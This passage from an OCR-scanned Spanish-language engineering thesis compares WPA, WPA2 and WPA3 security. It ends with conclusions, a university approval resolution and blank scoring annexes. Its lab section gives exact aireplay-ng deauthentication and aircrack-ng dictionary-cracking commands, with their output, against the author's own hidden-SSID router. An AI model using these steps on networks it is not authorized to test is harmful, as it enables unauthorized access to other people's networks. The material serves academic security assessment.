BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
BO:C5:54:81:43:8E -44 68 64 79 13 1 130 WPA2 CCMP PSK <length: 14>
BSSID STATION PWR Rate Lost Frames Notes Probes

B0:C5:54:81:43:8E 7A:EE:67:C6:58:DD -47 0 -24e 14261 133

Figura 148: Captura de los datos de la red objetivo. Fuente: Elaboracion Propia.
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g) Una vez que se haya ejecutado el comando para la captura del trafico es
necesario hacer una desasociacion de un dispositivo o de un cliente para
poder capturar el handshake o a su vez se debera esperar que un nuevo
cliente realice una conexion al Access point que se esta auditando.

En este caso se realizada la desasociacion del dispositivo que se encuentra

conectado para ello utilizaremos este comando: aireplay-ng -O(numero

para realizar el deauth) 2(nUmero de veces que se va a realizar el

deauth) -a BO0:C5:54:81:43:8E (MAC del Access Point) -c

7A:EE:67:C6:58:DD (MAC del Cliente) wlanO (tarjeta de red).

o Como se puede ver en la siguiente imagen al ejecutar por primera vez el
comando que permite la desasociacion del dispositivo no se obtiene el
handshake, en este caso se tuvo que volver a ejecutar el mismo comando

para lograr obtener el handshake tal como se muestra en la proxima

imagen.

Figura 149: Desasociacion del cliente de forma fallida. Fuente: Elaboracion

Propia.
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h)

Figura 150: Dessociacic’)n del cliente de forma exitosa. Fuente: Elaboracion

Propia.

Una vez que se haya obtenido el handshake es importante contar con el

diccionario que ayudara a buscar y a descifrar la contrasefia del equipo

auditado. En este caso se verificara si la contrasefia configurada en el router

se encuentra en el diccionario que ya se tiene para ello se utiliza el comando

gue se muestra en la siguiente imagen.

o Es importante mencionar que para este caso la contrasefa del router si
se encuentra en el diccionario, pero habra casos en los que no exista la

contrasefa del equipo dentro del diccionario.

ruebadiccionario.txt |grep Pruebg-Oculto

Figura 151: Prueba de diccionario mediante comandos en kali Linux.
Fuente: Elaboracion Propia.
Para conocer la contrasefa del equipo al que se esta atacando es importante
usar el comando que se muestra en la siguiente imagen, dentro de este
comando se coloca la ruta en donde se encuentra el diccionario con las
posibles contrasefias, también se coloca el nombre del archivo donde se
guardo el trafico capturado, debido a que con estos dos archivos importantes

se podra conocer la contrasefia que el atacante desea.
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@ -
a ck-ng usr/share/wordlists/pruebadiccionario.txt B0:C5:54:81:43:8E prueba-01.cap
Reading packets, please wait...
Opening prueba-01.cap
Read 933 packets.

1 potential targets

Aircrack-ng 1.6

[00:00:00] 224/454 keys tested (2108.31 k/s)

Time left: 0 seconds 49.34%
KEY FOUND! [ Pruebg@-Oculto ]
Master Key 5 F9 EA FO BC 00 DB CB 8A 5B
9B F3 CE 73 DB 80 B8 18 02
Transient Key : 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00

EAPOL HMAC : 62 3F CA 4D B6 AF C6 19 04

Figura 152: Clave encontrada con la busqueda de la contrasefia con el diccionario

y el archivo de tréfico de datos. Fuente: Elaboracion Propia.
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Ataque de diccionario a un ssid oculto con protocolo WPA
Para este ataque es importante realizar una previa configuracion al Access point en
el cual se haga un cambio de protocolo, finalmente se debera seguir los mismos

pasos que se indicaron anteriormente.

%£22% 2 12:28 PM

@ D-LINKSYSTEMS, INC | W X

0 <€ C A 192.168.0.1/Basic/Wireless.asp: vx ¥

L J

WPS-PIN UnLock |

TTINGS

'ss Mode: | Wireless Router ¥ |
Wireless. |«
1e (SSID): Ataque_Test (Also called the SSID)

Selection. ¢

Channel: |6 v |
sion Rate: | Best (automatic) ¥ | (Mbit/s)

ViEnable. ¢ (wireless QoS)
Wireless: ¢ (Also called the SSID Broadcast)

ity Mode: | Enable WPA Only Wireless Security (enhanced) ¥ |

o use high grade encryption and authentication.

vher Type: | TKIP v
SK/EAP: |PSK v |

work Key : |antony321
(8~63 ASCII or 64 HEX)

ttings |

Figura 153: Configuracion del router para atague de diccionario con bssd oculto.

Fuente: Elaboracion Propia.
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Figura 154: Desasociacion del cliente de forma fallida oculto. Fuente: Elaboracion

Propia.

Figura 155: Desasociacion del cliente de forma exitosa. Fuente: Elaboracion

Propia.

ruebadiccionario.txt |grep antony321

Figura 156: Prueba de diccionario mediante comandos en kali Linux. Fuente:

Elaboracion Propia.
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Readiﬁg paéket;, please wait...
Opening pruebas-01.cap
Read 19148 packets.

B0:C5:54:81:43:8E pruebas-01.cap

1 potential targets

Aircrack-ng 1.6

[00:00:00] 360/459 keys tested (1104.53 k/s)

Time left: 0 seconds

Current passphrase: alexandra
KEY FOUND! [ antony321 ]

Master Key : 5C C8 78 B3 D6 B3 F6 06 C8 FO D1 59 60 D7 11 7A
37 A9 C1 28 EA 88 5B B4 59 BD 73 A9 A3 C4 AE CE

Transient Key : 2B 15 D@ B8 FA 35 B8 OC A7 13 7D 49 E2 66 91 58
68 B8 C9 3E 21 74 50 99 CD 80 D6 03 65 D9 DO DA
5B FB 02 88 9E A3 7C 81 8D E7 AA 06 2E DF 90 9E

EAPOL HMAC : OF DC 53 24 FB 82 F9 F9 31 BE 17 DA C6 A8 F3 94

Figura 157: Clave encontrada con la busqueda de la contrasefia con el diccionario

y el archivo de tréfico de datos. Fuente: Elaboracion Propia.
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Ataque de diccionario a un ssid oculto con protocolo WPA3
Para este ataque es importante realizar una previa configuracion al Access point en
el cual se haga un cambio de protocolo, finalmente se debera seguir los mismos

pasos que se indicaron anteriormente.

Q 4 192.168.0.1 U

CONFIGURACION DE RED INALAMBRICA

Modo Inalambrico; [Roulov inalambrico n
Habilitar conexion inalambrica .

Nombre de la red inalambrica (SSID): | OjedaAntony | (Tambien lamado SSID)
Activar seleccion automética de
canal’

Canal Inalambrico: [:n

Velocidad de transmision (Mo,or (automatico) n (Mbit / 8)

Habilitar wmm. £ (QoS inalambrica)

Habilitar la conexion Inalambrica
oculla’ (También llamado el SSID Broadcast)

MODO DE SEGURIDAD INALAMBRICA

modo de seguridad (yqpiitar seguridad inalambrica WPA solaments (mejorada) g

WPA-PERSONAL

Solo WPA requiere que las estaciones utilicen encriptacion
autenticacion de alto grado.

Tipo de cifrado LTKIP n

PSK /EAP: [PSK n

Clave de red : [ Wtaqu3s56788 ]

(8 ~ 63 ASCIl 0 684 HEX)

Figura 158: Configuracion del router para ataque de diccionario con bssd oculto.

Fuente: Elaboracion Propia.
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Figura 159: Desasociacion del cliente de forma fallida. Fuente: Elaboracion Propia.

Figura 160: Desasociacion del cliente de forma exitosa. Fuente: Elaboracion

Propia.

usr/share/wordlists/pruebadiccionario.txt ataqu3s56788

Figura 161: Prueba de diccionario mediante comandos en kali Linux. Fuente:

Elaboracion Propia.
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® =
aircrack-ng /usr/share/wordlists/pruebadiccionario.txt B0:C5:54:81:43:8E ataques-01.cap
Reading packets, please wait...
Opening ataques-01.cap
Read 20564 packets.

1 potential targets

Aircrack-ng 1.6

[00:00:00] 459/459 keys tested (2143.02 k/s)

Time left: --

KEY NOT FOUND

Master Key $ 00 00 00 00 00
00 00 00 00 00

Transient Key

EAPOL HMAC

Figura 162: Clave encontrada con la busqueda de la contrasefia con el diccionario
y el archivo de tréfico de datos. Fuente: Elaboracion Propia.
Descripcion del Ataque de diccionario a un bssid oculto en WPA, WPA2 y
WPA3

El ataque de diccionario con un ssid oculto en el protocolo WPA2, WPA3 y en el
WPA tiene éxito siempre y cuando la contrasefia del equipo que se esta atacando
se encuentre dentro del diccionario caso contrario no serd exitoso puesto que no
lograra identificar la palabra clave del equipo. También es importante esperar que
un cliente se conecte al ssid oculto que se desea atacar para conocer cual es la
Mac y el canal en el que se encuentra trabajando, caso contrario Unicamente se
visualizara el trafico de redes que no son oculta, por lo general el tiempo que tarda
en encontrar la contrasefa dependera del tamafio del diccionario ya que si se tiene
5000 palabras y la ultima es la que coincide con la del equipo significa que tuvo que
analizar 4999 palabras antes de encontrar la correcta.

Para comprobar que este ataque es efectivo en el protocolo WPA, WPA2 y WPA3
(el tiempo de éxito va en forma ascendente) si la palabra clave del equipo se
encuentra en el diccionario se ha optado por hacer multiples pruebas con claves

gue no seran incluidas en el diccionario.
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IV. CONCLUSIONES Y RECOMENDACIONES
4.1.Conclusiones.
» El uso de las redes inalambricas de area local se ha visto incrementado
debido a su bajo costo y su relativamente facil instalacion, y también
debido en gran parte a la comodidad que para el usuario doméstico y

corporativo representa mantener la comunicacion sin cables.

» Muchas veces, las redes inalambricas son instaladas por personal no
especializado en tema de seguridad, por lo que dichas redes instaladas
son abiertas, lo que causa exposicion de toda la informacion que se
transmite o convirtiéndolas vulnerables y expuestas a ataques

informaticos.

» El protocolo WEP a estas alturas resulta mas que inapropiado, obsoleto
y peligroso en un escenario donde se necesite una seguridad en
cualquier nivel, debido a que se desempefia los niveles méas bajos de su
funcionamiento y logica de encriptacion, por ejemplo, en la colisién de

valores del IV.

» A pesar de que recientemente se estan descubriendo algunas
vulnerabilidades y algunos equipos no sean compatibles, WPA3 resulta
ser la solucibn méas segura para proteger las redes inalambricas de area

local.

» Tanto WPA como WPA2 pueden ser considerados como herramientas
de desempefio de seguridad aceptables para todos los dispositivos que
no soporten WPAS3, pero no hay duda que WPA3 sera en pocos afios el
estandar que brinde mayor seguridad inaldmbrica debido a que corrige

las debilidades de sus protocolos predecesores.
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4.2. Recomendaciones.

» No solo se debe considerar como unica opcién el uso del Protocolo WPA3
como Unico mecanismo seguro, sino que ademas se deben tener en cuenta
mecanismos de forma complementarias como el uso de firewalls, VLANS,
sistema de deteccion de intrusos, soluciones de alto nivel como Redes
Privadas Virtuales (VPN) y servidores RADIUS para poder excluir, filtrar y
monitorear cualquier cambio inadecuado en la WLAN para hacer las

correcciones inmediatas.

» EIl equipo que se utliza para las redes inalambricas de area local
generalmente ha sido disefiado para cubrir una determinada area al aire
libre, por lo que se debe tomar en cuenta que su USO en espacios que sean
cerrados o sean afectados por contacto en linea recta sin interferencia entre
dos equipos inaldmbricos, tendra como consecuencia una cobertura menor.
También es importante a tomarse en cuenta que se debe abarca el area
deseada, pues al extender la sefal hasta lugares donde no se requiere
puede provocar que extrafios escuchen, rastreen y posiblemente ataquen la
red.

» Los puntos de acceso, pueden tener capacidad de aceptar muchos clientes
conectados a la red, pero se debe tomar en cuenta que mientras mas
clientes estén conectados en dicha red, menor serd el rendimiento. El
namero de clientes que se recomienda para un Access Point o Router

inalambrico fluctia entre 20 a 25 hosts.
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ANEXOS.
Anexo 1. Resolucion de aprobacion de cambio del titulo del proyecto de

investigacion.

Paceliad de Ingendsrie
Arguitectoun y Didenisero

UNIVERSIDAD SERDR DE SIPAN SAC.

FACULTAD DE INGENIERIA, ARQUITECTURA Y URBANISMO
RESOLUCION N°0575-2022/FIAU-USS

Pimentel, 19 de septiembre de 2022

VISTO:

El Acta de reunion N°0509-2022 del Comité de investigacion de la Escuela profesional de
INGENIERIA DE SISTEMAS remitida mediante Oficio 0195-2022 JFIAU-IS-USS de fecha 5 de
septiembre de 2022, y;

CONSIDERANDO:

Que, de conformidad con la Ley Universitaria N° 30220 en su articulo 48° gque a letra dice: "La
investigacion constituye una funcién esencial y obligatoria de la universidad, gue la fomenta y
realiza, respondiendo a traves de 1a produccion de conocimiento y desarrollo de tecnologias a las
necesidades de la sociedad, con especial énfasis en la realidad nacional Los docentes, estudiantes
¥ graduados participan en la actividad investigadora en su propia institucion o en redes de
investigacion nacional o internacional, creadas por las instituciones universitarias publicas o
privadas.”;

Que, de conformidad con el Reglamento de grados y titulos en su articulo 21° sefala: “Los temas
de trabgjo de investigacion, trabsjo académico y fesis son aprobados por el Comité de nvestigacién
¥ derivados & la facultad o Escuela de Posgrado, segun corresponda, para la emision de la
resolucion respectiva. El periodo de vigencia de los mismos sera de dos anocs, a partir de su
aprobacién. En caso un tema perdiera vigencia, el Comité de Investizacion evaluara la ampliacién
de la mismsa.

Que, de conformidad con el Reglamento de grados y titulos en su articulo 24° senala: La tesis es
un estudio que debe denotar rizurosidad metodoldgica, originalidad, relevancia social, utilidad
tedrica y/o practica en el ambito de 13 escuela profesional. Para el grado de doctor se regquiere una
tesis de maxima rigurosidad académica y de caracter original. Es individual para la obtencion de
un grado; es indwidual o en pares para obtener un titulo profesional. Asimizsmo, en su articulo 25°
ceniala: “El tema debe responder a alguna de las lineas de investigacion institucionales de 1la USS
S.AACT.

Que, mediante documentos de vistos, el Comité de investigacion de 1a referida Escuela profesional
acordo aprobar el cambio de jurado evaluador de tesic gue se detallan en el Acta de reunion N®
0509 - 2022, de 1a linea de investigacién de INFRAESTRUCTURA, TECNOLOGIA Y AMBIENTE, a
] cargo de los estudiantes y /o egresados del Programa de estudios INGENIERIA DE SISTEMAS,
hasta la fecha gue indica la presente resclucion.
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FACULTAD DE ]]'lGEN'IERiA, ARQUITECTURA Y URBANISMO
RESOLUCION N°0575-2022 /FIAU-USS

Pimentel, 19 de septiembre de 2022

APELLIDOS

TEMA DE TESIS

JURADO ANTERIOR

JURADO NUEVOD

ALARCON GUEVARA IWON VANESSA [
RAMOS MENDOZA NADALI GLORIA

EVALUACION DE LA CALIDAD EM USD DE PLATAFORMAS DE
COMERCIO ELECTRONICO BASADAS EN SOFTWARE LIBRE COM
MAYOR US0 POR EMPRESAS PERUANAS, UTILIZANDO EL
ESTANDAR I30/1EC 25000

PRESIDENTE: DR. VASQUEZ LEWVA DUVER
SECRETARMDY: ING. OCAMPO MOREND ROSA LILIANA
VOCAL: DR. TUESTA MONTEZA VICTOR LEXCI

PRESIDENTE: DR. VASQUEZ LEYVA OUVER
SECRETARIO: MG, BRAVO RUIZ JAIME ARTURD
VOCAL DR TUESTA MONTEZA ¥WICTOR LEXCI

CALDEROHN YNOHAN FAMELA DEL
CARMEN /

PRIETO NEIRA FRANCE ALBERSON
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CENTRADO EN USUARIO (DCU) PARA LA MEJORA DE EXPERIENCIA
DE USUARIO [LIX)

PRESIDEMNTE: DR. RAMOS MOSCOL MARID FERNARDD
SECRETARMD: MG. SIALER RIVERA MARIA NOELLA
WOCAL: MG, CELIS BRAVD PERCY JAVIER

PRESIDENTE: MG. BAMNCES SAAVEDRA DAVID ENRICQUE
SECRETARID: MG. ATALAYA URREUTIA CARLOS WILLIAK
VOCAL MG MINGUILLD RUBID CEZAR AUGUSTD

CHAMCAFE CASTRO JULID JOEL

DESARROLLO DE UN MODELD DE PROCESDS AD HOC PARA EL
DESARROLLO DE SOFTWARE PARA UNA MUNICIPALIDAD BASADO
EN I507IEC 29110,

PRESIDENTE: MG.. AGUINAGA TELLD JUAMN ADDLFD
SECRETARMD: MG, CACHAY MACD JUNIOR EUGENIO
VOCAL: DR. CHIRINGS MUNDACA CARLOS ALBERTO

PRESIDENTE: MG..AGUINAGA TELLD JUAN ADOLFD
SECRETARID: MG. CACHAY MACD JUNIOR EUGERID
VOCAL MG, ARCILA DIAT JUAMN CARLOS

CHUCO AGUILAR GERSON RALUL

IMPLEMENTACION DE UN SISTEMA DE GESTION DE SEGURIDAD
DE L& INFORMACION BASADA EN ISOAEC 27000 PARA MEJORAR
EL NIVEL DE SEGURIDAD DE LOS ACTIVOS DE INFORMACION EN
UKA EMPRESA CONSTRUCTORA DE OBRAS CIVILES

PRESIDENTE: DR. CALDAS NUFEZ JESUS BANUEL
SECRETARMDY: MG, CACHAY MACDO JUNIOR EUGENIO
VOCAL: MG, BANCES SAAVEDRA DAVID ENRIQUE

PRESIDENTE: MG. MEJIA CABRERS HEBER IVAN
SECRETARIO: MG, CACHAY MACD JUNIOR EUGERIO
VOCAL WG, BANCES SAAVEDRA DAVID ENRIQUE
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WOCAL: MG, ATALAYA URRUTIA CARLOS WILLIAM

PRESIDENTE: MG. SAMILLAN AYALA ALBERTD ENRIGUE
SECRETARIO: MG, MINGUILLD RUBIOD CESAR AUGUSTO
VOCAL WG, ATALAYA URRUTIA CARLDS WILLIAM

CIEZA RIOS ELMER !
TANTAJULCA ROJAS NERLITA MARDELI
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PRESIDENTE: DR. RAMOS MOSCOL MARID FERNARDD
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VOCAL MG BEVO RUIZ JAIME ARTURD

203



Anexo 2. Escala Valorativa de cuantificacion de indicadores: Variable
Independiente.

CARACTERISTICA CALIFICACION
Muy Malo
Malo
Regular
Muy bueno

A W N PEFL O

Excelente

Anexo 3. Subtotales del Analisis de la Variable Independiente.

Dimensiones Indicadores WPA WPA2 WPA3

Método de Cifrado Algoritmo de cifrado
Tamafo del IV

Mecanismos de Mecanismos de

Entrega de Datos integridad de la
cabecera

Autorizacion Distribuciéon de clave
forma manual
Autenticacion de
maquina

RESULTADOS TOTALES

Anexo 4. Sumatoria de Andlisis de la Variable Independiente.

DIMENSIONES WPA WPA2 WPA3
Método de Cifrado

Mecanismos de Entrega de Datos

Autorizacién

RESULTADOS TOTALES
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Anexo 5. Porcentaje Total de Cada Protocolo Analizado — Variable independiente.

INDICES WPA WPA2 WPA3
PT_PW

PT

PORCENTAJE

POR

PROTOCOLO

Donde:

Puntaje total del Analisis: PT= X (Pi maximos por indicador)

Puntaje total de cada Protocolo Analizado: PT_PW= % (Pwi)

Porcentaje total de cada Protocolo Analizado: (%PW) = (PT_PW / PT) *100%

Anexo 6. Porcentaje por Protocolo de Variable Independiente.

WPA WPA2 WPA3

Anexo 7. Subtotales del Andlisis de la Variable Dependiente.

Dimensiones Indicadores WPA WPA2 WPA3

Confidencialidad Promedio de tiempo de éxito
de ataque
Phishing

Promedio de tiempo de éxito
de ataque
Man in the Middle

Promedio de tiempo de éxito

de ataque
ARP Spoofing + DNS
Spoofing

Integridad Promedio de tiempo de éxito

de atague de DoS
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Autenticacion Promedio de tiempo de éxito

de ataque de fuerza bruta

Promedio de tiempo de éxito
de Ataque de diccionario a un
ssid oculto

RESULTADOS TOTALES

Anexo 8. Sumatoria de Analisis de la Variable dependiente.

DIMENSIONES WPA WPA2 WPA3
Confidencialidad

Integridad

Autentificacion

RESULTADOS

TOTALES

Anexo 9. Porcentaje Total de Cada Protocolo Analizado — Variable dependiente.

INDICES WPA WPA2 WPA3
PT_PW

PT

PORCENTAJE POR PROTOCOLO

Donde:

Puntaje total del Analisis: PT= X (Pi maximos por indicador)

Puntaje total de cada Protocolo Analizado: PT_PW= % (Pwi)

Porcentaje total de cada Protocolo Analizado: (%PW) = (PT_PW / PT) *100%

Anexo 10. Porcentaje por Protocolo de Variable dependiente.

WPA WPA2 WPA3
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